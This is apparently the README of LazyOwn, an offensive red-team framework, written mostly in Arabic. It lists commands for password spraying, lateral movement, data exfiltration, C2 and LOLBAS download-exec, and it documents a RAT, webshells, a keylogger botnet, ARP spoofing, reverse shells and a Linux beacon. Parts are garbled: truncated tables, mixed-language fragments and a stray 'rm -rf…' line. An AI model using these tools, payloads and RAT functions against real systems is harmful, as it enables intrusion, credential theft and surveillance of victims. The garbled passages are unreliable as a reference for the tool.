crack_cisco_7_password cubespraying keepass spraykatz
createcredentials dacledit medusa sshkey
createhash generatedic passtightvnc sudo
createmail hashcat passwordspray transform
createusers_and_hashs hydra refill_password username_anarchy
Lateral Movement
────────────────────
addcli id_rsa penelope sshd wifipass
bloodyAD lateral_mov_lin regeorg stormbreaker wmiexec
chisel ligolo rnc targetedKerberoas wmiexecpro
dcomexec mssqlcli set_proxychains tord
getTGT nc shadowsocks upload_c2
gospherus ngrok socat vpn
Data Exfiltration
─────────────────────
adgetpass dploot evilwinrm getuserspns reg_py secretsdump
decrypt encrypt getadusers gitdumper rsync unzip
download_c2 evidence getnthash_py gmsadumper samdump2 upload_gofile
Command & Control
─────────────────────
atomic_agent automsf emp3r0r mitre_test sliver_server
atomic_gen c2 empire msf
atomic_tests caldera generate_playbook msfrpc
attack_plan duckyspark iis_webdav_upload_asp my_playbook
Reporting
─────────────
apropos createtargets gpt process_scans
banners download_malwarebazar groq pth_net
c2asm extract_ports img2vid pup
camphish eyewitness malwarebazar vulns
create_session_json eyewitness_py morse
createjsonmachine get_avaible_actions name_the_hash
createjsonmachine_batch gowitness nmapscripthelp
Miscellaneous
─────────────────
acknowledgearp clone_site getseclist links run
acknowledgeicmp cron graph list sh
addhosts decode h load_session show
aliass download_resources hex_to_plaintext nano sys
assign encode ignorearp news tab
banner encoderpayload ignoreicmp payload urldecode
base64decode encodewinbase64 ip pwd urlencode
base64encode exit ip2asn qa v
check_update fixel ip2hex rhost
clean fixperm kick rot
clock gencert lazyscript rotf
Lua Plugin
──────────────
generate_c_reverse_shell lolbas_certutil_download_exec
generate_cleanup_commands lolbas_certutil_exe
generate_html_payload lolbas_mshta_js
generate_lateral_command lolbas_mshta_reverse_shell
generate_linux_asm_reverse_shell lolbas_rundll32_dll
generate_linux_raw_shellcode lolbas_wmic_xsl_execution
generate_lolbird parse_nmap_with_xmlstarlet
generate_msfvenom_loader run_nuclei_on_nmap_files
generate_msfvenom_loader_windows run_python_rev_c2
generate_reverse_shell rundll32_sct_from_url
generate_stub validate_shellcode
kerberos_harvest visualize_network
lolbas_bitsadmin_exe
Yaml Addon. ─────────────── AdaptixC2 GoPEInjection OverRide agentzero gosearch peeko argfuscator gui pretender ATTPwn gui2 PTMultiTools AuroraPatch hack_browser_data PTMultiTools_scan banner_tool hellbird PyinMemoryPE bbr hive pyrit beacon hooka_linux_amd64 raven blacksandbeacon hostdiscover ridenum blacksandbeacon_bof kivi_revshell setoolkit cgoblin_windows laps ShadowLink Clematis lazyaddon_creator shellcode_custom_win_rev_tcp_xored commix2 lazyagentAi SigPloit copy-fail-CVE-2026-31431 lazybinenc spoonmap CVE-2022-22077 lazyftpsniff stratus_detonate CVE_2025_24071_PoC LazyLoader stratus_list demiguise lazymapd toposwarm ebird3 lazyownbt unicorn evilginx2 LazyOwnExplorer upxdump gcr llm vulnbot gemini-cli NullGate vulnbot_groq gen_dll_rev oniux vulnhuntr Get_ReverseShell opencode_adapter watchguard githubot orpheus wspcoerce gomulti_loader_linux gomulti_loader_windows
Adversary YAML.
───────────────────
amsi_c implant_nim_nim infect_c pid_c
implant_crypt_go implant_rust_rs persist_ps1 shell_c
Artificial Intelligence ─────────────────────────── ai_toggle
Uncategorized Commands
──────────────────────
addalias gobuster_dns ipy ollama_enum set
alias gobuster_http listaliases pop shell
edit gobuster_web macro quit shortcuts
EOF help nikto_host rrhost subwfuzz_tool
ffuf_enumeration history notify run_pyscript
ffuf_tool ipp nuclei_ad_http run_script
┌─[👤grisun0 (LazyOwn👽kali) ~/home/grisun0/LazyOwn][127.0.0.1][http://VariaType.htb] 🌐192.168.1.120 ✗ feature/lazyllmchat-assistant (🐍env) └╼ $
## وسم في يوتيوب
<https://www.youtube.com/hashtag/lazyown>
## بودكاست
<https://www.youtube.com/watch?v=m4FtlhownvM&list=PLW9Qe5HJK5CFXyIsF9b0NB6n9EY8Am3YZ>
## DeepWiki
<https://deepwiki.com/grisuno/LazyOwn/>```sh
LazyOwn> assign binary_name my_binary
LazyOwn> assign rhost 192.168.1.100
LazyOwn> assign api_key my_api_key
LazyOwn> run lazysearch
LazyOwn> run lazynmap
LazyOwn> exit

للبحث داخل قاعدة البيانات المستخرجة من GTFOBins.```sh python3 lazysearch.py binario_a_buscar
## عمليات البحث باستخدام واجهة المستخدم الرسومية
ميزات وتحسينات إضافية:
AutocompleteEntry:
تمت إضافة مرشح لإزالة قيم None من قائمة الإكمال التلقائي.
ناقل هجوم جديد:
تمت إضافة زر "New Attack Vector" إلى الواجهة الرئيسية.
تم تنفيذ وظيفة لإضافة ناقل هجوم جديد وحفظ البيانات المحدثة في ملفات Parquet.
التصدير إلى CSV:
تمت إضافة زر "Export to CSV" إلى الواجهة الرئيسية.
تم تنفيذ وظيفة لتصدير بيانات DataFrame إلى ملف CSV يختاره المستخدم.
الاستخدام:
إضافة ناقل هجوم جديد: انقر على زر "New Attack Vector"، واملأ الحقول، ثم احفظ.
التصدير إلى CSV: انقر على زر "Export to CSV" واختر الموقع لحفظ ملف CSV.
الدالة الجديدة scan_system_for_binaries:
تنفذ عمليات بحث على مستوى النظام عن الملفات الثنائية باستخدام الأمر file لتحديد ما إذا كان الملف ثنائياً.
تستخدم os.walk لاجتياز نظام الملفات.
تُعرض النتائج في نافذة جديدة داخل واجهة المستخدم الرسومية.
زر البحث عن الملفات الثنائية:
تمت إضافة زر "Search System for Binaries" إلى الواجهة الرئيسية، والذي يستدعي الدالة scan_system_for_binaries.
ملاحظة:
تستخدم الدالة is_binary أمر Unix file لتحديد ما إذا كان الملف قابلاً للتنفيذ الثنائي. إذا كنت تستخدم نظام تشغيل مختلفاً، فستحتاج إلى تعديل هذه الطريقة للتوافق.
قد يكون هذا التنفيذ مستهلكاً للموارد لأنه يجتاز نظام الملفات بالكامل. قد ترغب في إضافة خيارات إضافية لتقييد البحث على أدلة محددة أو تصفية أنواع ملفات معينة.```sh
python3 LazyOwnExplorer.py
```sh
python3 lazyown.py
إذا كنت ترغب في التحديث، نتبع الخطوات التالية:```sh
cd LazyOwn
rm parquets/*.csv
rm parquets/*.parquet
./update_db.sh
مجموعة LazyOwn Webshell هي مجموعة من الـ webshells لإطار العمل الخاص بنا، والتي تتيح لنا إنشاء webshell على الجهاز الذي نشغّل عليه LazyOwn باستخدام لغات برمجة متعددة. في الأساس، يقوم LazyOwn Webshell بتشغيل خادم ويب داخل دليل modules، مما يجعله متاحًا عبر متصفح الويب. وهذا يتيح لنا إتاحة الوحدات بشكل منفصل عبر الويب والوصول إلى دليل cgi-bin، حيث توجد أربع shells: واحدة بـ Bash، وأخرى بـ Perl، وأخرى بـ Python، وواحدة بـ ASP، في حال كان الهدف جهاز Windows.```sh lazywebshell
وقائمة ونستطيع الآن الوصول إلى أي من هذه الروابط:
<http://localhost:8080/cgi-bin/lazywebshell.sh>
<http://localhost:8080/cgi-bin/lazywebshell.py>
<http://localhost:8080/cgi-bin/lazywebshell.asp>
<http://localhost:8080/cgi-bin/lazywebshell.cgi>

## استخدام Lazy MSFVenom للحصول على Reverse Shell
ينفذ أداة `msfvenom` لتوليد مجموعة متنوعة من الحمولات بناءً على مدخلات المستخدم.
تطلب هذه الدالة من المستخدم اختيار نوع الحمولة من قائمة محددة مسبقًا وتشغّل أمر
`msfvenom` المقابل لإنشاء الحمولة المطلوبة. تتعامل مع مهام مثل توليد أنواع مختلفة من
الحمولات لأنظمة Linux وWindows وmacOS وAndroid، بما في ذلك الترميز الاختياري باستخدام Shikata Ga Nai لحمولات C.
يتم نقل الحمولات المولّدة إلى دليل `sessions`، حيث يتم تعيين الأذونات المناسبة. بالإضافة إلى ذلك،
يمكن ضغط الحمولات باستخدام UPX لتوفير المساحة. إذا كانت الحمولة المختارة عبارة عن Android APK،
فستقوم الدالة أيضًا بتوقيع APK وتنفيذ خطوات المعالجة اللاحقة اللازمة.
:param line: وسائط سطر الأوامر الخاصة بالسكربت.
:return: None```sh
run lazymsfvenom or venom
يتيح نظام القيادة والتحكم (C2) العمليات عن بُعد من خلال بنية خادم-عميل مع اتصالات مشفرة.

سيتم إنشاء ملف في /tmp باسم binary_name المحدد في الحمولة، وتهيئته باستخدام gzip في الذاكرة، واستخدام bash في الحمولة. لتعيين الحمولة من JSON، استخدم أمر payload للتنفيذ. استخدم:```sh lazypathhijacking
## وضع استخدام LazyOwn RAT

LazyOwn RAT هو أداة إدارة عن بُعد بسيطة لكنها قوية. يتميز بوظيفة لقطة الشاشة التي تلتقط شاشة الخادم، وأمر الرفع الذي يسمح لنا برفع الملفات إلى الجهاز المخترق، ووضع C&C حيث يمكن إرسال الأوامر إلى الخادم. يعمل في وضعين: وضع العميل ووضع الخادم. لا يوجد تشويش، والأداة مبنية على BasicRat. يمكنك العثور عليها على GitHub على https://github.com/awesome-security/basicRAT وعلى https://github.com/hash3liZer/SillyRAT. على الرغم من أن الأخيرة أكثر شمولاً بكثير، إلا أنني أردت فقط تنفيذ التقاط لقطة الشاشة، ورفع الملفات، وإرسال الأوامر. ربما في المستقبل، سأضيف وظيفة عرض كاميرا الويب، لكن ذلك سيأتي لاحقًا.```sh
usage: lazyownserver.py [-h] [--host HOST] [--port PORT] --key KEY
lazyownserver.py: error: the following arguments are required: --key
usage: lazyownclient.py [-h] --host HOST --port PORT --key KEY
lazyownclient.py: error: the following arguments are required: --host, --port, --key
LazyOwn> run lazyownclient
[?] lhost and lport and rat_key must be set
LazyOwn> run lazyownserver
[?] rhost and lport and rat_key must be set
luego los comandos son:
upload /path/to/file
donwload /path/to/file
screenshot
sysinfo
fix_xauth #to fix xauth xD
lazyownreverse 192.168.1.100 8888 #Reverse shell to 192.168.1.100 on port 8888 ready to C&C

LazyMeta Extract0r هي أداة مصممة لاستخراج البيانات الوصفية من أنواع مختلفة من الملفات، بما في ذلك PDF و DOCX وملفات OLE (مثل DOC و XLS)، والعديد من صيغ الصور (JPG، JPEG، TIFF). ستقوم هذه الأداة بالمرور عبر دليل محدد، والبحث عن الملفات ذات الامتدادات المتوافقة، واستخراج البيانات الوصفية، وحفظها في ملف إخراج.
[*] Iniciando: LazyMeta extract0r [;,;]
usage: lazyown_metaextract0r.py [-h] --path PATH lazyown_metaextract0r.py: error: the following arguments are required: --path```sh python3 lazyown_metaextract0r.py --path /home/user

## وضع الاستخدام فك التشفير التشفير
طريقة تشفير تتيح لنا تشفير الملفات وفك تشفيرها إذا كان لدينا المفتاح، بالطبع.
```sh
encrypt path/to/file key # to encrypt
decrypt path/to/file.enc key #to decrypt

يوفر استخدام Lazynmap سكريبتًا آليًا لهدف ما، في هذه الحالة، 127.0.0.1، باستخدام Nmap. يتطلب السكريبت صلاحيات إدارية عبر sudo. كما يتضمن وحدة اكتشاف الشبكة لتحديد ما هو موجود في مقطع IP الذي تتواجد فيه. بالإضافة إلى ذلك، يمكن الآن استدعاء السكريبت بدون معاملات باستخدام الاسم المستعار nmap أو بالأمر run lazynmap.
```sh
./lazynmap.sh -t 127.0.0.1 # or in the cli just nmap
## استخدام مساعد وباحث LazyOwn GPT One Liner CLI
اكتشف الثورة في أتمتة مهام اختبار الاختراق مع LazyOwn GPT One Liner CLI Assistant! هذا السكريبت المذهل هو جزء من مجموعة أدوات LazyOwn، المصممة لجعل حياتك كمختبر اختراق أكثر كفاءة وإنتاجية.
الميزات الرئيسية:
الأتمتة الذكية: يستفيد من قوة Groq ونماذج اللغة الطبيعية المتقدمة لتوليد أوامر دقيقة وفعالة بناءً على احتياجاتك المحددة.
واجهة سهلة الاستخدام: مع مطالبة بسيطة، يقوم المساعد بتوليد وتنفيذ سكريبتات من سطر واحد، مما يقلل بشكل كبير من الوقت والجهد المبذول في إنشاء أوامر معقدة.
التحسين المستمر: يحوّل ويحسّن قاعدة معرفته باستمرار لتزويدك بأفضل الحلول، مع التكيف مع كل موقف.
تصحيح الأخطاء المبسط: فعّل وضع التصحيح للحصول على معلومات مفصلة في كل خطوة، مما يسهل تحديد الأخطاء وتصحيحها.
التكامل السلس: يعمل بسهولة داخل مساحة عملك، مستفيدًا من قوة Groq API لتقديم ردود سريعة ودقيقة.
الأمان والتحكم:
معالجة آمنة للأخطاء: يكتشف أخطاء التنفيذ ويستجيب لها بذكاء، مما يضمن حفاظك على التحكم الكامل في كل أمر يتم توليده.
تنفيذ مُتحكَّم به: قبل تنفيذ أي أمر، يطلب تأكيدك، مما يمنحك راحة البال بمعرفة ما يتم تنفيذه بالضبط على نظامك.
إعداد سهل:
قم بإعداد مفتاح API الخاص بك في ثوانٍ وابدأ في الاستمتاع بجميع المزايا التي يقدمها LazyOwn GPT One Liner CLI Assistant. يتوفر دليل بدء سريع لمساعدتك في تكوين هذه الأداة القوية وتعظيم إمكاناتها.
مثالي لمختبرين الاختراق والمطورين:
حسّن عملياتك: بسّط وسرّع توليد الأوامر في تدقيقاتك الأمنية.
التعلم المستمر: يتم تحديث قاعدة المعرفة وتحسينها باستمرار، مما يوفر لك دائمًا أحدث أفضل الممارسات والحلول.
مع LazyOwn GPT One Liner CLI Assistant، غيّر طريقة عملك، واجعلها أسرع وأكثر كفاءة وأمانًا. توقف عن إضاعة الوقت في المهام المتكررة والمعقدة، وركز على ما يهم حقًا: اكتشاف الثغرات الأمنية وحلها!
انضم إلى ثورة اختبار الاختراق مع LazyOwn وارتقِ بإنتاجيتك إلى المستوى التالي!
[?] الاستخدام: python lazygptcli.py --prompt "<your prompt>" [--debug]
[?] الخيارات:
--prompt "المطالبة الخاصة بمهمة البرمجة (مطلوبة)."
--debug, -d "يفعّل وضع التصحيح لعرض رسائل التصحيح."
--transform "يحوّل قاعدة المعرفة الأصلية إلى قاعدة محسّنة باستخدام Groq."
[?] تأكد من تكوين مفتاح API الخاص بك قبل تشغيل السكريبت:
export GROQ_API_KEY=<your_api_key>
[->] قم بزيارة: https://console.groq.com/docs/quickstart (ليس رابطًا مدفوعًا)
المتطلبات:
Python 3.x
مفتاح Groq API صالح
خطوات الحصول على مفتاح Groq API:
قم بزيارة Groq Console (https://console.groq.com/docs/quickstart) للتسجيل والحصول على مفتاح API.```sh
export GROQ_API_KEY=<tu_api_key>
python3 lazygptcli.py --prompt "<tu prompt>" [--debug]

قدّم الوسائط كما هو محدد في طلبات السكربت: سيتطلب السكربت الوسائط التالية:
usage: lazyown_bprfuzzer.py [-h] --url URL [--method METHOD] [--headers HEADERS] [--params PARAMS] [--data DATA] [--json_data JSON_DATA] [--proxy_port PROXY_PORT] [-w WORDLIST] [-hc HIDE_CODE] --url: عنوان URL الذي سيُرسل إليه الطلب (مطلوب). --method: طريقة HTTP المراد استخدامها، مثل GET أو POST (اختياري، الافتراضي: GET). --headers: ترويسات الطلب بصيغة JSON (اختياري، الافتراضي: {}). --params: وسائط URL بصيغة JSON (اختياري، الافتراضي: {}). --data: بيانات النموذج بصيغة JSON (اختياري، الافتراضي: {}). --json_data: بيانات JSON للطلب بصيغة JSON (اختياري، الافتراضي: {}). --proxy_port: المنفذ للوكيل الداخلي (اختياري، الافتراضي: 8080). -w, --wordlist: مسار قائمة الكلمات لوضع الـ fuzzing (اختياري). -hc, --hide_code: رمز حالة HTTP المراد إخفاؤه في المخرجات (اختياري). تأكد من تقديم الوسائط المطلوبة لضمان تشغيل السكربت بشكل صحيح.```sh python3 lazyown_bprfuzzer.py --url "http://example.com" --method POST --headers '{"Content-Type": "LAZYFUZZ"}'
النموذج 2: الاستخدام المتقدم
إذا كنت ترغب في الاستفادة من الميزات المتقدمة للسكربت، مثل إعادة إرسال الطلبات أو التشويش (fuzzing)، اتبع هذه الخطوات:
إعادة إرسال الطلبات:
لاستخدام وظيفة إعادة إرسال الطلبات، قم بتوفير الوسائط كما هو موضح سابقًا.
أثناء التنفيذ، سيسألك السكربت عما إذا كنت تريد تكرار الطلب. أدخل 'y' للتكرار أو 'n' لإنهاء المكرر.
التشويش (Fuzzing):
لاستخدام وظيفة التشويش، تأكد من توفير قائمة كلمات باستخدام الوسيط -w أو --wordlist.
سيستبدل السكربت الكلمة LAZYFUZZ في الرابط والبيانات الأخرى بالكلمات من قائمة الكلمات الموفرة.
أثناء التنفيذ، سيعرض السكربت نتائج كل تكرار تشويش.
هذه هي الطرق الأساسية والمتقدمة لاستخدام سكربت lazyburp.py. حسب احتياجاتك، يمكنك اختيار الطريقة التي تناسب حالتك الخاصة بشكل أفضل.```sh
python3 lazyown_bprfuzzer.py \ ─╯
--url "http://127.0.0.1:80/LAZYFUZZ" \
--method POST \
--headers '{"User-Agent": "LAZYFUZZ"}' \
--params '{"param1": "value1", "param2": "LAZYFUZZ"}' \
--data '{"key1": "LAZYFUZZ", "key2": "value2"}' \
--json_data '{"key3": "LAZYFUZZ"}' \
--proxy_port 8080 \
-w /usr/share/seclist/SecLists-master/Discovery/Variables/awesome-environment-variable-names.txt \
-hc 501
KeePassXC هو مدير كلمات مرور قوي وآمن يمكن أن يساعدك في إدارة بيانات اعتماد SSH الخاصة بك. باتباع أفضل الممارسات وتجنب المخاطر الشائعة، يمكنك استخدام KeePassXC بأمان لحماية مفاتيح SSH الخاصة بك.```sh
python3 lazyown_bprfuzzer.py \ ─╯
--url "http://127.0.0.1:80/LAZYFUZZ"
--method POST
--headers '{"User-Agent": "LAZYFUZZ"}'
--params '{"param1": "value1", "param2": "LAZYFUZZ"}'
--data '{"key1": "LAZYFUZZ", "key2": "value2"}'
--json_data '{"key3": "LAZYFUZZ"}'
--proxy_port 8080
-w /usr/share/seclist/SecLists-master/Discovery/Variables/awesome-environment-variable-names.txt \

ملاحظة: لاستخدام القاموس، شغّل الأمر التالي داخل /usr/share/seclists:```sh
now the command 'getseclist' do that automated.
wget -c https://github.com/danielmiessler/SecLists/archive/master.zip -O SecList.zip \
&& unzip SecList.zip \
&& rm -f SecList.zip
تُستخدم هذه الوحدة للبحث عن كلمات المرور على خوادم FTP عبر الشبكة. قد يقول البعض إن FTP لم يعد مستخدمًا، لكنك ستُفاجأ ببيئات البنية التحتية الحيوية التي رأيتها تعمل فيها خدمات FTP ضخمة على خوادمها. :)```sh assign device eth0 run lazyftpsniff

## استخدام وضع LazyReverseShell
الاستماع```sh
nc -nlvp 1337 #o el puerto que escojamos

ثم على الجهاز الضحية```sh ./lazyreverse_shell.sh --ip 127.0.0.1 --puerto 1337

## استخدام Lazy Curl في وضع الاستطلاع
توجد الوحدة في دليل modules وتُستخدم على النحو التالي:```sh
chmod +x lazycurl.sh
ثم```sh ./lazycurl.sh --mode GET --url http://10.10.10.10
الاستخدام.
GET:```sh
./lazycurl.sh --mode GET --url http://10.10.10.10
POST:```sh ./lazycurl.sh --mode POST --url http://10.10.10.10 --data "param1=value1¶m2=value2"
تتبع:```sh
./lazycurl.sh --mode TRACE --url http://10.10.10.10
```sh
تحميل الملف:```sh
./lazycurl.sh --mode UPLOAD --url http://10.10.10.10 --file file.txt
وضع القوة الغاشمة لقائمة الكلمات:```sh ./lazycurl.sh --mode BRUTE_FORCE --url http://10.10.10.10 --wordlist /usr/share/wordlists/rockyou.txt
تأكد من ضبط المعاملات وفقًا لاحتياجاتك وأن القيم التي توفرها للخيارات صالحة لكل حالة.
## استخدام وضع ARPSpoofing
يوفر السكربت هجوم انتحال ARP باستخدام Scapy. في الحمولة، يجب عليك تعيين lhost وrhost والجهاز الذي ستستخدمه لتنفيذ انتحال ARP.```sh
assign rhost 192.168.1.100
assign lhost 192.168.1.1
assign device eth0
run lazyarpspoofing
يوفر هذا السكربت عرضًا بالأشعة السينية للنظام المعني حيث يتم تنفيذ الأداة، مما يقدم رؤى حول تكوينه وحالته.
```sh
run lazygath
## استخدام وضع Lazy Own LFI RFI 2 RCE
صُمم وضع LFI RFI 2 RCE لاختبار بعض الحمولات الأكثر شهرة مقابل المعاملات المحددة في payload.json. يتيح ذلك إجراء تقييم شامل لثغرات تضمين الملفات المحلية (LFI)، وتضمين الملفات عن بُعد (RFI)، والتنفيذ عن بُعد للأكواد (RCE) في النظام المستهدف.
```sh
payload
run lazylfi2rce
يتيح وضع الاعتراض (sniffer) التقاط حركة مرور الشبكة عبر الواجهات باستخدام الخيار -i، وهو إلزامي. هناك العديد من الإعدادات الاختيارية الأخرى التي يمكن تعديلها حسب الحاجة.
usage: lazysniff.py [-h] -i INTERFACE [-c COUNT] [-f FILTER] [-p PCAP] lazysniff.py: error: the following arguments are required: -i/--interface
To use the sniffer from the framework, you must configure the device with the command:
شغّل lazysniff
أو فقط
sniff```
### Experimental Obfuscation Using PyInstaller
This feature is in experimental mode and does not work fully due to a path issue. Soon, it will support obfuscation using PyInstaller.
```sh
./py2el.sh```
## Experimental NetBIOS Exploit
This feature is in experimental mode as it is not functioning yet... (coming soon, possibly an implementation of EternalBlue among other things...)
```sh
شغّل lazynetbios```
## Experimental LazyBotNet with Keylogger for Windows and Linux
This feature is in experimental mode, and the decryption of the keylogger logs is not functioning xD. Here we see for the first time in action the `payload` command, which sets all the configuration in our `payload.json`, allowing us to preload the configuration before starting the framework.
```sh
payload
run lazybotnet```
## Interactive Menus
The script features interactive menus to select actions to be performed. In server mode, it displays relevant options for the victim machine, while in client mode, it shows options relevant to the attacking machine.
### Clean Interruption
The script handles the SIGINT signal (usually generated by Control + C) to exit cleanly.
## License
This project is licensed under the GPL v3 License. The information contained in GTFOBins is owned by its authors, to whom we are immensely grateful for the information provided.
## Acknowledgments ✌
A special thanks to [GTFOBins](https://gtfobins.github.io/) for the valuable information they provide and to you for using this project. Also, thanks for your support Tito S4vitar! who does an extraordinary job of outreach. Of course, I use the `extractPorts` function in my `.zshrc` :D, thanks to deepwiki to help us with doc. ( https://deepwiki.com/grisuno/LazyOwn/ ), thanks to plaintext who does an extraordinary job of outreach and we adopted PTMultiTools it's very impresive
### Thanks to pwntomate 🍅
An excellent tool that I adapted a bit to work with the project; all credits go to its author honze-net Andreas Hontzia. Visit and show love to the project: <https://github.com/honze-net/pwntomate>
### Thanks to Sicat 🐈
An excellent tool for CVE detection, I implemented only the keyword search as I had to change some libraries. Soon also for XML generated by nmap :) Total thanks to justakazh. <https://github.com/justakazh/sicat/>
### Thanks to josefcohernandez
For identifying and reporting the Docker build failures caused by the repo.charm.sh outage and the Python version incompatibility. His report led to the fixes in `lazyown-docker/Dockerfile`.
### Thanks to EQSTLab (via yym8538)
For two critical security advisories that helped us harden the framework and fix serious vulnerabilities. Their responsible disclosure makes LazyOwn safer for the entire community.
## BlackSandBeacon — Linux BOF
**BlackSandBeacon** brings Beacon Object File (BOF) extensibility to Linux for the
first time in an open-source C2 framework. No commercial C2 (including Cobalt Strike)
offers Linux BOF support.
### What is Linux BOF?
On Windows, BOFs are position-independent PE COFF objects loaded by the beacon at
runtime, giving operators an in-memory plugin system without spawning new processes.
BlackSandBeacon ports this model to Linux:
- BOFs compile as **position-independent ELF shared objects** (`.so`) with GCC
(`-shared -fPIC -nostartfiles`).
- The beacon loads them at runtime via `dlopen` — no disk writes after delivery,
no new process, no shell.
- The **`datap` API** (`BeaconDataParse`, `BeaconDataInt`, `BeaconDataExtract`,
`BeaconPrintf`, `BeaconOutput`) is source-compatible with the Windows BOF contract,
so existing BOF authors can port by replacing Win32 calls with Linux syscalls or
libc equivalents.
---
[Read more](https://github.com/grisuno/lazyown)
rm -rfexfilwipeencrypt-fileconfirm=true| يمنع الإجراءات التدميرية العرضية من الحلقات المستقلة. |
| المصدر + الثقة في بيانات الاعتماد | كل بيانات اعتماد تُعرض عبر target_context تتضمن is_likely_credential، confidence، classification، وكتلة provenance (source_file، line_no، captured_at) عند العثور عليها. | مطلوب لسلسلة الحفظ في تقارير اختبار الاختراق. |
| تعليقات الحداثة | كل ملف دليل في SITREP بصيغة JSON و target_context يحمل age_seconds، age_human، و stale=true بمجرد تجاوزه freshness_threshold_seconds (الافتراضي 7 أيام؛ قابل للتكوين لكل استدعاء). | يمنع الوكيل من الاستغلال بناءً على أدلة استطلاع قديمة. |
cli/aliases.py الآن افتراضيًا lazy=True: تحتفظ قوالب الأسماء المستعارة بعناصرها النائبة {rhost}/{lhost}/إلخ. وتُعرض مقابل self.params في وقت التنفيذ. ينتشر set rhost X إلى كل اسم مستعار في الضغطة التالية (دون إعادة تشغيل الصدفة). الاستبدال المسبق لا يزال متاحًا مع lazy=False. |
DynamicAliasResolver، cli/aliases.py |